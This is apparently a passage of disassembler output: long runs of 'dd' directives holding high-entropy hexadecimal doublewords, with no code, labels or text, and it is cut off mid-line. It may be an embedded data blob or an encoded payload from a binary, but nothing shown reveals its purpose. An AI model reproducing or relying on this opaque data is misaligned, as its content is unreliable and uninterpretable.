0D123E02h, 62B7BFD4h, 0C37C8294h, 14A079A4h, 0F7A0E8A9h dd 0CB00F0DAh, 2246A4ACh, 0A5359ECh, 0C308F227h, 20FA9040h dd 9A883AB2h, 0FE4204Bh, 1232B89Dh, 29247085h, 0C4234184h dd 70F8C08Eh, 17071F28h, 1A05BAD2h, 2106044Fh, 0C218B4h dd 0E05A2061h, 595E8127h, 48C90900h, 0BFF645A6h, 37FC2E0Fh dd 11219F70h, 0C39001Eh, 8ADA6B9Ah, 0CB1B07AAh, 201CCCA1h dd 8E4F7FC3h, 0C826D113h, 5F738402h, 470527h, 0B47CD620h dd 5D035409h, 0C5BDA646h, 8E660274h, 5CF31389h, 4007EC85h dd 0FA6C7A78h, 4D24ED95h, 200034B4h, 18D9CBDFh, 0EB610276h dd 827B6F7Dh, 0AA273CD2h, 10701395h, 45ABB58h, 2705DC03h dd 481DBCC8h, 0B8830802h, 1978C8EEh, 5A7A3613h, 703D685Eh dd 68F60201h, 135EBF95h, 0BCB386FCh, 40804460h, 8C796184h dd 0A92F005Fh, 0ED75DF89h, 283D9793h, 0F7D1BAC0h, 80156100h dd 6A0F1C4Fh, 0E3132684h, 883A0012h, 77B48BC9h, 6700D67Ch dd 3C5F8028h, 0B2FB98F5h, 11BF05DFh, 13A68C04h, 0BA50309Dh dd 70EBF8F7h, 2D00E6ECh, 7C1CC980h, 52FEEF6Eh, 0BE00C883h dd 0BFB6D508h, 80A4011Dh, 0CAECAC10h, 8EAB0880h, 5478322Fh dd 4050D248h, 1A242708h, 636F8C2Dh, 98222A6Dh, 18097B12h dd 4978F7EEh, 4C00D316h, 0C85BB3DDh, 8F58A1h, 9278E391h dd 6459BC3Ch, 0F8A6B8B0h, 59155137h, 40299782h, 18632CD4h dd 19146280h, 31C07EF7h, 166B95A1h, 317E36h, 8D2CF611h dd 8963D497h, 1DB990A0h, 58A0806h, 141DE24h, 6C32D070h dd 0C4200F84h, 0D313AD4Eh, 6010EB7Bh, 22481840h, 97B131h dd 0BBBA2B8Ah, 0C0F46C1Bh, 0CFA9C900h, 537C90A8h, 0E04F5FD2h dd 0B900E73Ah, 94F3988Fh, 0F508474h, 58632451h, 0FAE2EBFh dd 80ABA9B9h, 5375BC60h, 5879971Eh, 0D295D2h, 8A205927h dd 41D4FD1Dh, 0E5785720h, 15010746h, 0DC62C983h, 0C0D78812h dd 6F4F6EE4h, 80878C24h, 0B0FF806Fh, 98297112h, 1D2E44E0h dd 6118FE35h, 132584A2h, 15005FD4h, 0E0C9EE5Ch, 0DD4E0068h dd 0B6102E54h, 0DF09D71Dh, 1E438A7h, 6C9AA994h, 0B1297863h dd 6BDB40A4h, 391CEB1Bh, 0D9C06D21h, 0F42F1274h, 0F2B90025h dd 5EC031A2h, 10D8F11h, 0B87FA324h, 8A80F838h, 7482B91Bh dd 0E562C00h, 7FA16DA8h, 0D3782CDEh, 9F890840h, 0CC915B81h dd 421A2B7h, 5294AAC0h, 8A00B09Ah, 0C7CA1D70h, 49048FBFh dd 0DDBA046Bh, 25F61482h, 3C28E4F7h, 95E77A00h, 37024478h dd 18420082h, 0A66AE812h, 0CC249F1Fh, 7002F0EDh, 4030A4E1h dd 7846D0DCh, 0B0050024h, 92123FBFh, 44E41FCFh, 8D57D302h dd 70F7CA01h, 944752ACh, 6A7FA407h, 709B20BEh, 0B21D1C79h dd 57C32673h, 0B392C43Ah, 2EE9DE4Ch, 9E70639Fh, 0E672C03Ch dd 1FB5419Dh, 0E48C7E00h, 543FC19Bh, 42925AA9h, 0F64E273Ch dd 0BFBDB7C0h, 8A336003h, 0C70634A2h, 212FAA4Ah, 68497334h dd 9CCE4h, 0BEC05BFCh, 51484F20h, 0A508A21Ch, 0D42848E2h dd 98476E00h, 90A9598Fh, 4E277644h, 5DE441A8h, 0CC6DB9E4h dd 778D2B1h, 0E3ED1613h, 0FFA4804h, 0C2011851h, 0E790D9F9h dd 0E47FD42Eh, 8E06DB04h, 1CD45447h, 1A78D3h, 781C7B04h dd 0CEC0134Dh, 59F5C11Fh, 0F15184F8h, 74A68399h, 0ECB82A00h dd 408171C6h, 0A707E700h, 89979886h, 3088A4B2h, 7317AF7h dd 18006856h, 918CA4B4h, 3986575h, 0FCDDB2F6h, 9EB22B77h dd 0D0C84872h, 11A4A618h, 0D7DC001Ch, 68896B72h, 0AC3C00A2h dd 0C9168DF7h, 4CF29099h, 0AA21290Bh, 3590489Ch, 68BF4856h dd 0CEA38710h, 75100Eh, 32179078h, 7FF05FDEh, 56410400h dd 0CEF13489h, 5B3A7016h, 13A80037h, 506EDD09h, 0E2665503h dd 88FC779Ah, 0B0383CB2h, 7A7B44A0h, 5C227E4Ah, 74061096h dd 71847217h, 742A6497h, 43531A01h, 0CC3C9BAAh, 2DD81110h dd 0DEBC2047h, 38ECF9FAh, 498053CCh, 0DC502E08h, 8B04DFC0h dd 7D7A8F3Dh, 1BFD0A4h, 8EB20976h, 0DE8A2270h, 98A6E878h dd 54BA7900h, 0A41A3453h, 9C74FCh, 372BD427h, 5035D2DFh dd 0CD806C99h, 0A94143F4h, 31B4006Bh, 27753365h, 2F00D35Dh dd 3A38FAB2h, 0C9A09981h, 0BC73EE88h, 433E8483h, 0C68EA016h dd 4A62005Bh, 0CB28F7C5h, 0CEF0487Ah, 800060B9h, 41750361h dd 0B20F0AD3h, 908497Fh, 2468A16Ah, 0E1028AEFh, 0F76D5482h dd 0B00858EEh, 297B12D0h, 32B8B4A0h, 62262A00h, 557624FAh dd 3D5000F5h, 81E2071h, 1D240637h, 3808C80h, 90C76C38h dd 1EC03C94h, 2714407h, 3057E510h, 800907C8h, 0B113741Dh dd 0A7C3834Eh, 0C1E0F505h, 2FFCBF9Dh, 2C80B8DDh, 8F3284Ch dd 3822BC4Eh, 1C501AD3h dd 0A67C7B1Ah, 8AF4D321h, 17ACBA57h, 0D3A02CAEh, 0DCC41B01h dd 7B89F1D9h, 4A481FD0h, 7728C8A9h, 0D734B904h, 0E890BF90h dd 2EA897EFh, 40105F7Fh, 21FCC891h, 55631C19h, 202A2770h dd 89F806B4h, 0AC92702Ch, 51010211h, 36086FF6h, 7CF8205Ah dd 5731BE64h, 0D215BC87h, 94D0C718h, 838B8860h, 0C35F3B12h dd 4405A8F0h, 540521FDh, 6DB62808h, 0FDC88CCh, 4FF04E97h dd 0D987B72Bh, 0BE608FABh, 0C6408360h, 64145228h, 999D8F03h dd 8338D9A9h, 82C5C255h, 429C8908h, 1005A20h, 0AC070BE5h dd 0C40F68AEh, 6EF4A47Ah, 92258827h, 40205628h, 676AFA9Ch dd 3400BAB8h, 406D7E1Eh, 4CA8D08h, 0DA5A5C1Fh, 24B7C1F2h dd 889BEB21h, 0AD8B84F8h, 0FC1BCD03h, 0D5A68CF5h, 600068A2h dd 0A355BB5Fh, 5D0089B3h, 9DC29462h, 917A363Bh, 8C1F18h dd 37CCE773h, 0EC02FBAFh, 0F6335925h, 7368A070h, 1D3161C3h dd 777E80Ch, 37CFEB52h, 28BAF28Fh, 0E76590C1h, 732790BFh dd 0C704C056h, 0BBBFD9EFh, 219F3082h, 72CB6558h, 0D88801A0h dd 82F4FE0Ch, 952C442Fh, 0C1D566Dh, 3820F897h, 148EFDh dd 0EC525F30h, 0E63BCB4h, 40019B7Eh, 202F655Dh, 5879D448h dd 46563809h, 0E7D1490h, 7EE5390Eh, 48D460DEh, 1E17497h dd 528A9813h, 7388296Ah, 205BD0h, 0A0A580h, 9B2D642Ch dd 0BC99CB15h, 6632312h, 0FBA77805h, 1822A835h, 0FA884095h dd 0D735E97h, 69A0B80Ch, 3A5E00A8h, 2396111Bh, 0BC740057h dd 47916AC1h, 0AA301C2Dh, 2810299Eh, 78C75820h, 202BBC55h dd 0F507FA8h, 4BA3B700h, 2941138h, 0D4670A56h, 42091A9h dd 0A0C52030h, 16422664h, 1F1FFA21h, 9002E112h, 0A46ADF13h dd 0BF407380h, 0C487F3EEh, 3BE82F00h, 0BB9E42C5h, 742C1D71h dd 0F90E78E5h, 4B248B6Eh, 98B8F03Dh, 86117F42h, 3FBF2C9Ch dd 63830C07h, 991F69FFh, 64300658h, 9C5B5095h, 0B432F71Dh dd 8FC12101h, 0BE2ED5A9h, 0E478C518h, 0AD182575h, 0A1072466h dd 39DB33A2h, 2CFAAF00h, 0C37A00F9h, 0F68FC7BFh, 7802F192h dd 52C058A2h, 794042FFh, 809364h, 0DD1F2F41h, 56125097h dd 8CD09DA9h, 99194D8Bh, 0E1A0810Ch, 0C14F57BEh, 46C8E158h dd 97423808h, 2B87940Eh, 25B0714Ah, 0CC009C12h, 8DE275ABh dd 80A5D83Dh, 31F7638Ah, 0B00D59BEh, 40E0B9FCh, 0C5840558h dd 53439E00h, 0C335A739h, 0DD6E0F5Fh, 0CEEF6101h, 4AB39A4Fh dd 64C894FCh, 0A828607Eh, 2F11C0B2h, 77615B80h, 9A8CD600h dd 164268CCh, 0A51C01BBh, 89D4CE55h, 40BC592Ch, 84F84ED4h dd 694D188h, 5D4C482h, 69F85924h, 8AA0295Bh, 65045BFEh dd 0A9FCA01Ch, 32478001h, 0E02B8828h, 308C163Eh, 585560F8h dd 0F112EC00h, 4AACF323h, 0A75101F0h, 4F8FCA4Dh, 3C54EC47h dd 87240615h, 0F91D0EBCh, 0F0F6920Ah, 5FB1F402h, 68E157D5h dd 0B363F239h, 1C6B3821h, 0B8132205h, 64C892A9h, 144A357Fh dd 1FCCE0D9h, 91633C01h, 57698DD7h, 7F7D6E0h, 8F2FDA37h dd 0AFF61020h, 260487B2h, 0CAEC5028h, 17000A9h, 0B90FF4D0h dd 4496A957h, 8074AC78h, 71F7247Dh, 0ED831DC8h, 99B5421Eh dd 505CB004h, 9F47B80Fh, 5114C8A7h, 0B19703F4h, 0CB76BE5Ah dd 80094CBh, 396F7526h, 12975F88h, 89AA89BDh, 0EE4800ACh dd 15385EAFh, 0D78F89A7h, 38D2A0h, 685A7CD6h, 0C4734C19h dd 0B91C5315h, 3B9B0010h, 45D15AF0h, 2C84E9BFh, 0B4A7DC5Ch dd 0D0008C20h, 0BCB60526h, 7319CEF8h, 909AF4FEh, 0D67D174Ch dd 0C6F0700Fh, 0ED003E94h, 9EE56C27h, 2693EF0Eh, 177AD6C0h dd 7A44095Ch, 837B7782h, 93109051h, 8BF52880h, 6E4E031Dh dd 0BF20B081h, 0F902830h, 0B83C24D1h, 0E00C3017h, 2F381A05h dd 0D3860016h, 834B3F72h, 6327827h, 9B20476Dh, 184AB03Eh dd 207CC822h, 0C88A7B27h, 2933C93Eh, 8E124495h, 0A2992C04h dd 479AAC00h, 0C4647F7Bh, 0DCC2B598h, 0A4A0247Eh, 1400C548h dd 4B33AAEh, 2406494Ch, 84B8861Dh, 0E27F7A03h, 2E4C01B4h dd 8B4F2106h, 34238461h, 661F0F00h, 90A6C7D2h, 48EFF102h dd 7C2B4CC1h, 5980306Ch, 132F081Dh, 0F4E8309Fh, 0C1523C29h dd 567C5500h, 0EDFED8D4h, 0E24C8E3Eh, 0B833E90h, 0E0090464h dd 806DEBD7h, 29A303E9h, 8F840058h, 0CC439AB9h, 0F818B018h dd 0F7B00E4Ch, 0A0038089h, 4CA30825h, 0C9790040h, 900C13A7h dd 0A301228Fh, 0CAE7BD2Dh, 7EFE3864h, 2FD2408Ch, 5B091521h dd 7C8495h, 0A6CDA2F0h, 46ED428h, 989DD913h, 0B07846Ch dd 0A3CA9892h, 0F8B859A0h, 2C61078Eh, 45B5C791h, 1C6F8203h dd 0A0E8B4F2h, 20475327h, 0B9420724h, 13C800DDh, 571636C0h dd 0F7132CBBh, 14A4B70Bh, 720A024h, 68800721h, 0C41FBA91h dd 252881D7h, 849A1111h, 1A000608h, 572128D9h, 91F9599h dd 0DF54C32Ch, 50059C50h, 5AB6CDA9h, 0F0CCBC85h, 166077C0h dd 8FEED1h, 86154ACh, 54B0F844h, 90EDBA00h, 785A593Ch dd 0C00E41CFh, 6D69830Dh, 70108C70h, 0D76100C0h, 7D958ECh dd 0E0724AAh, 8A4580BEh, 2C25440Fh, 48A74ECh, 743D80C8h dd 0B4C0ED0h, 8647D900h, 66F982BBh, 988BF2D3h, 0EEED078Ch dd 2716908Ah, 67F7931Fh, 98127F0h, 7AE6A801h, 7882D08h dd 841C0D1h, 1440CF20h, 1E161F28h, 2D0596EFh, 0FC001C6Ah dd 294298A3h, 0F91BEE3h, 21631420h, 0E8375692h, 1088030h dd 537882E5h, 2167EE3Fh, 889828C8h, 0FD2FCE95h, 2CA1E820h dd 0EE00C660h, 0F7F3D8C8h, 1C425546h, 45E6EB4h, 987B6862h dd 92193FCCh, 0A70858EFh, 0E30C402Ah, 4A73F6AAh, 0BB76A00h dd 0B23F9966h, 0C1071602h, 5D4A1D3Dh, 85F0C3Eh, 36171308h dd 8890597Ah, 25F20709h, 8C469EAh, 19544402h, 0C04AC38Ch dd 130E02h, 14EA1DDh, 396465B8h, 83A61A02h, 54624333h dd 0D030DA4h, 5C213E41h, 433017B9h, 298300F4h, 4E2140F3h dd 0E40EE78Fh, 0CC2389BAh, 95FF417Fh, 56B59C21h, 540E3B93h dd 0C003088h, 38CF7BC1h, 0E14CFF75h, 2BC2C014h, 7C551CEBh dd 0C3300022h, 7F4042E6h, 4177EE0Eh, 78DE1B00h, 0E4345DB6h dd 1A1F0527h, 20A88B5Fh, 0ECD922D4h, 0BB975D28h, 8FA98C13h dd 2029BC20h, 0A0C3125Ah, 8608A0F0h, 0B442A145h, 838B2088h dd 0B324323h, 99FDD00Ch, 7710AC88h, 0F758ED3Ah, 0F85C009Bh dd 9D024625h, 0CDA948A6h, 8AAFE300h, 9B9156D0h, 2427FC0Ah dd 368E5463h, 553AE0D9h, 9DFFAA4h, 0AC27E059h, 0C1C0E004h dd 317AD004h, 5B3196B1h, 4E62F41Fh, 0F6D440A8h, 54A902EAh dd 0D4CD2A01h, 0CAA0456Dh, 50AAF2DCh, 8B022446h, 0A0DA9BD2h dd 7C9989F8h, 0C0D04817h, 98C24Ah, 5FDF0C73h, 0E9189360h dd 63B98A0h, 64262827h, 221142D4h, 0BBAC00A5h, 9ACE0C97h dd 9C002BF9h, 4828D66Ch, 4AD7AD2Ch, 0EC94D047h, 0DF005B3Dh dd 0E86BE283h, 68A7D40Dh, 6094E08Eh, 316A9AC5h, 643A300h dd 54932C12h, 78B44C36h, 0B76D8000h, 70B57DC4h, 10B7B7B0h dd 988F9978h, 0B70D1658h, 0F12020A7h, 1401C8A0h, 12CF0FA9h dd 0E7FC8B9Eh, 20EE4BE5h, 794E2C1Ch, 0ED89C400h, 8233AAB5h dd 34E501B8h, 1E29C9BBh, 744CFDC7h, 0DD3073FCh, 0F2206857h dd 772A0103h, 15023A07h, 7B4C70C0h, 7A37AF0Ah, 483E507Eh dd 93BC908Ch, 2190780Ch, 932717B5h, 0D858A1B7h, 0F74A788Ah dd 45C4DC40h, 965C0Eh dd 294D72B7h, 8F5274Eh, 22BE5Ah, 1EF41BFDh, 70C74FDh, 28DA0F1Fh dd 34922788h, 66002413h, 2E40691h, 5B8566h, 8128C16Ch dd 2FAB932Bh, 1C84BCA2h, 201D22B2h, 43B1FB86h, 3928C900h dd 85C5D8B6h, 488B9029h, 942D7092h, 0E04B460h, 842171C9h dd 84081ACh, 0E32BC0D7h, 61F450Eh, 0DCE273F6h, 3D070C38h dd 0F9942C83h, 6F0764F1h, 0F1B5DA64h, 278AC400h, 131BD62h dd 0BB3FE78Ch, 0DDE3129Eh, 5D8BF4D1h, 64286F2Fh, 19140038h dd 5E65834Ch, 0B9E8AC7Dh, 0AD450C98h, 5EB4202Ah, 42001DC7h dd 0F0F39298h, 9E3163Ch, 8A03ACB0h, 1D145464h, 700806h dd 802268F0h, 907F303Dh, 0A2973A10h, 8C1161ADh, 644C009Ah dd 4C275855h, 0F7541777h, 0B488907Dh, 6FF61B57h, 517FD0FEh dd 3962BF00h, 12348A80h, 674F1EEAh, 855C002Eh, 97F7B05Fh dd 1104B75Ch, 0A0187696h, 0FF5F9906h, 40FFF574h, 627B16F1h dd 0C0B1080Eh, 0FACEA90Ch, 0B5DE0CCh, 0B28A8511h, 0A2BD9002h dd 84442466h, 0BEB50127h, 0EB6296Fh, 73991198h, 20785A7Ah dd 44000476h, 5C7FEF9Bh, 3C310C9Dh, 75186FF9h, 201A3607h dd 172A328h, 602CD4ADh, 0DF13EB15h, 0C6000FECh, 0BF42AC6Bh dd 1122495h, 7BA40738h, 0FCB7F5D2h, 0CC920F09h, 18DD5300h dd 0E9642546h, 0C2C1008Fh, 0FFD86235h, 0F4B66E4Eh, 0B0258240h dd 0F00A01A4h, 2605170Dh, 5E647224h, 0D7959430h, 4C7301D8h dd 0E3F9730h, 0BFF5D02Eh, 0F25F4EEh, 4D0C294h, 0FE408590h dd 7B6F53BAh, 0D1247E51h, 0E0226F9Ch, 21261188h, 21E84E00h dd 0CC2844D5h, 26007D94h, 5EED7CEBh, 4E473205h, 0D1C0D717h dd 0C0C76699h, 0F05B15D7h, 0AA8CC8h, 7EA3F4ACh, 2506C4A4h dd 0C5BC7100h, 6DDEFF89h, 0DBF2E57h, 0CA82171Ah, 529412D4h dd 0CC6EA000h, 99DCFAAh, 0C9FA1FFBh, 921CA881h, 4C90E3D2h dd 1500F5ACh, 37F4D160h, 127CFBBFh, 0C8124886h, 0D31DDCF0h dd 5D805933h, 0C7C6FFE2h, 135E04B5h, 0CC155B03h, 4A000980h dd 0DC6FF8D4h, 134E2DD6h, 0A043AF7Ch, 11EB9254h, 0BC73847Ah dd 13054912h, 1EA0B0CCh, 101D3F44h, 179EFFFEh, 4830BFACh dd 7126700Dh, 1AFC3A1Fh, 3FE37300h, 256249C1h, 14519005h dd 880AD2AEh, 4647B848h, 36BD80CBh, 5B586A79h, 0E760CC1Fh dd 65F73400h, 31DE8A8Fh, 3677285Fh, 4C75F8F4h, 154C4357h dd 4AAF4800h, 646C9F91h, 40F5FD27h, 620E8h, 0E825CBE3h dd 34E2BE28h, 0E1BC831Fh, 11807C4Dh, 8405839h, 0FD1602FBh dd 201E0595h, 0FEE0D85Ch, 0E385B4Bh, 0EA9DE01Ah, 80418F24h dd 714479D8h, 0A342ACB0h, 8B9A007Eh, 0A5076F90h, 4B1297A2h dd 0B89719DDh, 0D6558F82h, 0D5A1400Ch, 91015196h, 9B2BAC88h dd 0D46943D4h, 333EB280h, 60FAB17h, 0A05C50BDh, 0BE42A64Fh dd 77F60226h, 2094EF59h, 9E043C54h, 780787A5h, 7859896Fh dd 7B2FDCA8h, 4890C49Eh, 784499FDh, 452E0E8Ah, 8880FC8Eh dd 6409CD50h, 5A14C04h, 60ADA723h, 0BAA50800h, 0BFC0CA1Dh dd 0B9606C94h, 277AF89Ah, 54A45C7Dh, 6C4A4013h, 7D55D218h dd 4B78BC7Bh, 230AD5F6h, 383C3085h, 0A488CB76h, 990F0083h dd 5CC3E6B8h, 0A500FA32h, 86C775F9h, 0B28F62Ah, 31D6BF5h dd 2872AA0Bh, 5A297009h, 1C5246h, 0B9B5E555h, 0C9E1736Dh dd 67537700h, 0A0F5D6C2h, 7A2B0324h, 29694C76h, 502245CBh dd 0DCB9533Eh, 721B1E00h, 1FC092F5h, 0FC91AA74h, 4E03A426h dd 8820C76Fh, 164278F9h, 20A16C5Eh, 1F49E07Ch, 6A1DA477h dd 1E80ED7Ah, 0AA8883FCh, 0A4D05234h, 9A500170h, 1DBE5870h dd 4F4C32FAh, 1B0488h, 0F3E8B52Fh, 1166A089h, 0B02EBA26h dd 1487970Bh, 5A73006Ch, 0DC2B5B0Dh, 2E027594h, 47B03B31h dd 5350C064h, 927B000Ch, 0FBC4EEDAh, 973B6280h, 0DC580089h dd 18FAAD07h, 0D2E1EFA5h, 4EAEC3E0h, 9CA80430h, 808B4088h dd 257A9055h, 0C081C97Ch, 3FFF6653h, 88AC8428h, 67F3209h dd 46CFBF03h, 0B07CC112h, 193D080h, 0ABEB0C9Eh, 759A751Fh dd 0CA34D0CCh, 294FE52h, 508C6D56h, 80187CC6h, 9DB18968h dd 21002F28h, 7B22615Bh, 27303682h, 0E046AA20h, 0F842A722h dd 0E45F529Eh, 0ECA0A927h, 55A73B82h, 0B1294800h, 5836914Fh dd 94435852h, 5100B042h, 3E3A29Ch, 0C70099BEh, 453AEF0Fh dd 1F6FED5Ah, 16A02E8Bh, 21FC206Bh, 802E726h, 2CA8CAAh dd 602C56F2h, 0C6C74578h, 27B4338h, 5582499Ch, 0ACAC4109h dd 408A1F08h, 678C32h, 7C4D20CAh, 93F057B1h, 901FBB02h dd 6A061AD4h, 19C7E48h, 0A9786444h, 0E00B219Fh, 512D001h dd 18312430h, 693095D7h, 0E8500055h, 0EFB9804Ch, 70F1B681h dd 1184FF84h, 206D114Dh, 0F91D2706h, 288470A9h, 7C032316h dd 184F26E1h, 960F400Ch, 0A4BB9289h, 0C899BF82h, 53852A7h dd 64188EA1h, 4508093h, 0F50035A2h, 0D236C34Dh, 0BCF4AF2h dd 42482067h, 7A08D440h, 0FF86F17h, 625B9830h, 0C7161FA8h dd 0FC35C072h, 0E58B261h, 5688AD04h, 8EC1EDCEh, 606C4581h dd 5065A53Fh, 0EA108847h, 0B2959200h, 0BBD8B110h, 0EF0F263h dd 576FA93Ch, 1A9C0C16h, 19482171h, 0D9811263h, 0A43E98A2h dd 7773CC80h, 53CE3B61h, 3D7FD00h, 0F7C002EAh, 0F229D367h dd 1ABB0040h, 8A1D8E2Ch, 37073F3Fh, 0C10E27h, 0BEA0990Bh dd 0C0080278h, 49A16F09h, 498545Bh, 0A2227FC6h, 90BE2D00h dd 3456DE8h, 95D47686h, 91A82365h, 90027242h, 0DF662D4Ch dd 50D0511Fh, 627631Ch, 0D0642928h, 3F785CECh, 0E0C1C827h dd 22061017h, 2CC68A28h, 0DDD57D03h, 0D059444Ch, 7B1D17CDh dd 19B11E2Fh, 0AB017ED6h, 0FA5478D2h, 28413E9Eh, 0F1A9FE70h dd 0CC60F831h, 50163178h, 7382F521h, 32850090h, 1C1F6297h dd 5808024Dh, 7D91A9C1h, 1D6234F4h, 47A05407h, 8938700Bh dd 9E749863h, 0A154AA48h, 40704DC6h, 41CECF8h, 733676C0h dd 1E90C24Eh, 12169851h, 0ECCF54C2h, 3CCC7E7Ch, 6081D449h dd 2D2E6D09h, 0C8A431A1h, 4B2C7D7Bh, 16E49413h, 5041D42h dd 0F228A891h, 0A2E29D2Fh, 0FBBC0704h, 0C8264708h, 0CEFF6F82h dd 2EF0C4BFh, 0E0807D0Ah, 0CE822280h, 8869E907h, 0B2C0FB2Fh dd 0BAA4B03h, 65594A9h, 0F19BFC48h, 0A2A9890h, 9A2E8C11h dd 0D806AB92h, 4068DBAEh, 77510EA6h, 0AC4C0154h, 51242025h dd 84F02712h, 90FC7C22h, 0B1422B4h, 99A95563h, 6B0000E5h dd 9D496966h, 700D48EBh, 0C238F52Ch, 7C6159ACh, 82D42958h dd 0F42C2205h, 114F18h, 91F60FCh, 0D58F28h, 484F81E2h dd 52A53558h, 0C065A89Eh, 0EE2548BCh, 1E0F74CCh, 27E83D0h dd 63062B34h, 20695F05h, 790B3724h, 0AD1C40FCh, 0E161D5Dh dd 0D4A89Ch, 0E123A66Ah, 1ABD492Ah, 719B600h, 736E52BEh dd 8C433ED9h, 14B02301h, 2316A118h, 6E760FC0h, 2F49A08Fh dd 2D203F5Dh, 9C44C7F0h, 5912C007h, 0FF87FB8Eh, 802A885h dd 0D9302724h, 9B510E74h, 0AA80CDCBh, 4CFCF41Fh, 12013FE4h dd 0C6AC6FF5h, 3034683Eh, 0FDD007Bh, 1EBF89AFh, 813F48FFh dd 7525847h, 0BA0703F7h, 16600EC9h, 98605CB1h, 35E7FE0h dd 15CE66A9h, 0C2C74BE2h, 0E869C9EEh, 18406A0Dh, 6F575AD8h dd 3F78FA28h, 18D88C61h, 0AA09043Fh, 0D8598122h, 0E102AE00h dd 0A550ACh, 0D48ED0B9h, 857C749h, 0AE975400h, 260A07A6h dd 0C895A3h dd 0E495818Bh, 989701C4h, 0A1676587h, 0AFD05007h, 77006B61h dd 0E179C119h, 9ECEF0F4h, 0DFAA40D8h, 0F378571Dh, 42C2E1F5h dd 6C51F808h, 2358803Dh, 895272Bh, 16D97891h, 1CEE22Ch dd 4F8F2AFAh, 26C7217h, 1650980Fh, 0BF088710h, 3168B7C0h dd 0C8BE38B9h, 1CEA0F7Bh, 49C0BAFEh, 361D05B0h, 4E0C31C0h dd 5F96A9DBh, 0F3B81341h, 9DAA167Ch, 50E20825h, 0A3D3CF00h dd 30639AD9h, 0DDC13C1Fh, 45801A00h, 2F9936F7h, 0A84237A8h dd 0E8840809h, 16ACAC56h, 2EDD7h, 0E666BFB8h, 5D8000DCh dd 0B4C96E63h, 7F289637h, 7BF60845h, 0C8CF7E4Eh, 0A0BBC112h dd 99881214h, 233B8C6h, 0C11FC03Bh, 0C0DAA0B9h, 32BEA200h dd 0B11DF814h, 0AB0A3A09h, 8A210077h, 0BE44B52Bh, 6122848h dd 0BCC80E12h, 23E83A08h, 0D80AFD80h, 7BE7704Ch, 6D2F3Bh dd 0C033CB9Fh, 65EFAF3Fh, 0BC20085Dh, 2A04809Ch, 0CC9993h dd 0ABF26876h, 0EA20213Dh, 0C6C33Ah, 0BFC2FD35h, 9DB8DF6Fh dd 3F80E830h, 9D8EDB04h, 98ADF7BCh, 9B00D458h, 0D8DD0A62h dd 0E30B3916h, 5E5743Dh, 0A8ACCDCCh, 0A4A9B789h, 0ECDCD0C2h dd 0A16170h, 4FA32183h, 5B4D560Dh, 8025AC94h, 90F4EAA4h dd 7DD90017h, 16FDA5Eh, 1C48832Dh, 0F04FC00Ch, 4C59A5h dd 0F9B522C0h, 8846BF11h, 4EB0E495h, 665CC303h, 0D61F7614h dd 0BF060454h, 9CC295A2h, 10947EFAh, 82EC054Ch, 0B0850769h dd 0C58FE4F8h, 2BD9A680h, 52382F81h, 74250018h, 628304FFh dd 1FA31401h, 0CC5B30D2h, 0C0B02250h, 0ECC8555Bh, 90060615h dd 0BCC9B1DDh, 46056200h, 8A3DE5CEh, 0A2344A92h, 0F1808904h dd 7B950DD8h, 805017B8h, 3C35E6D6h, 0EB26A400h, 0EEBFA7BAh dd 3D880A36h, 224C68Fh, 2145D82h, 63995CE0h, 0F756DD04h dd 0C885D659h, 9B0138B2h, 0B1AA5F39h, 0AE5DF0A4h, 0D725491Dh dd 0E7936282h, 8556612Bh, 57A1E83Ch, 277B3065h, 1C8C094Fh dd 7AF822BEh, 3B872500h, 8EB3D45Ch, 43CA2599h, 70EF8844h dd 65040E36h, 0CE6B8130h, 1E119080h, 0AF85257Ah, 0C499FC44h dd 1FE0F360h, 0E6F51C89h, 1F805790h, 7A7D62B0h, 9C903899h dd 3E402EB2h, 6201C9F7h, 39E654F9h, 3031CAACh, 20CE20DCh dd 9F26378Eh, 0E200ACD9h, 0BEF0B378h, 0A001521Dh, 62F95100h dd 674C6E7Bh, 17502912h, 0BE0B4CE2h, 0BC635657h, 21204AE8h dd 38800D4Bh, 0F27ECA40h, 0C1F738C0h, 62085C4Eh, 0CE500F00h dd 0F6D2C2EAh, 53CD015Bh, 1274A54Dh, 2F870C3h, 66812E00h dd 1152283Bh, 0BD89003Ch, 9DC7E550h, 9A00D09Ch, 35DD58FEh dd 120EEB6Fh, 4880B9h, 38F4AEC3h, 534B5990h, 0D94C1820h dd 0E4770004h, 0B2F3F212h, 59054A54h, 0DF517B57h, 7DF9E486h dd 0D0600001h, 248FB5E3h, 0B20F1453h, 1CDC22Bh, 76BDBB9Dh dd 76480E8h, 829512DFh, 80FEC4CFh, 1B31A1A0h, 0B3095300h dd 0E54D0C91h, 2DE0398Fh, 28685F00h, 8EC5AA21h, 9D6E8CFh dd 956448A9h, 454FEB2h, 9652A05Ah, 0B8B7C0F2h, 0C2EA6FF9h dd 15199C00h, 23D12048h, 45F8023Dh, 0F91FCA61h, 0AA090882h dd 0BCE4148Bh, 0A5F9803h, 92EF7FA1h, 94905D25h, 334B8990h dd 4E1DE4E4h, 0B84C4EF9h, 0AF58CBE4h, 6886001h, 10352423h dd 5038FFF5h, 9C6F2588h, 0C8F85C22h, 88BB0516h, 82881B00h dd 78E600AAh, 0CAE38EC2h, 5D0026E8h, 0D250961Ah, 48F192A9h dd 8F04E8BAh, 0BE1177A7h, 0FF6A8862h, 6573B140h, 0D502E275h dd 27D36104h, 4090FE81h, 2971CDC1h, 322674B8h, 0B6004C80h dd 2E19D74Bh, 0E11C3C4Ch, 3FA63980h, 1D56539Eh, 0FADD14Ch dd 6991CF76h, 57DC0E0Ch, 405EE8E2h, 2248CA4Ch, 810269F6h dd 827A9057h, 3B2044E3h, 8B80CE62h, 6DE838EEh, 0D4A0896Ah dd 0E4045CD1h, 857B5F78h, 0DFF428BEh, 79905326h, 49C38901h dd 0DC74CB65h, 55E70F8Ah, 0E8F27B6Dh, 0D064A33Ch, 27D280AEh dd 88C8A83Ch, 0D800605Bh, 5F71EB5h, 1905FE9h, 0CF682C8h dd 0EC304794h, 0BE008FB7h, 65D9BDCEh, 6BFCA4Dh, 2074C5DAh dd 5D0080F1h, 88300ABEh, 1C096D58h, 803F60A7h, 86FE5F5Bh dd 17026880h, 8F91E010h, 527F60C1h, 10C981Eh, 4F39CE8h dd 2356982Fh, 649A0000h, 0B22282D3h, 9727B71h, 7784AFE5h dd 89F57400h, 20024945h, 3B3A65F9h, 14D12559h, 14417408h dd 8298FD5h, 0A47F7A0Eh, 99CD896h, 0E979AE02h, 757BFF57h dd 328FC411h, 1E40DDC0h, 3C943BCh, 0CFF41299h, 218CB9B8h dd 0B27B1219h, 0B1E850B8h, 981E1F24h, 0CB868C50h, 0A890A131h dd 0CE00FD2Eh, 72286049h, 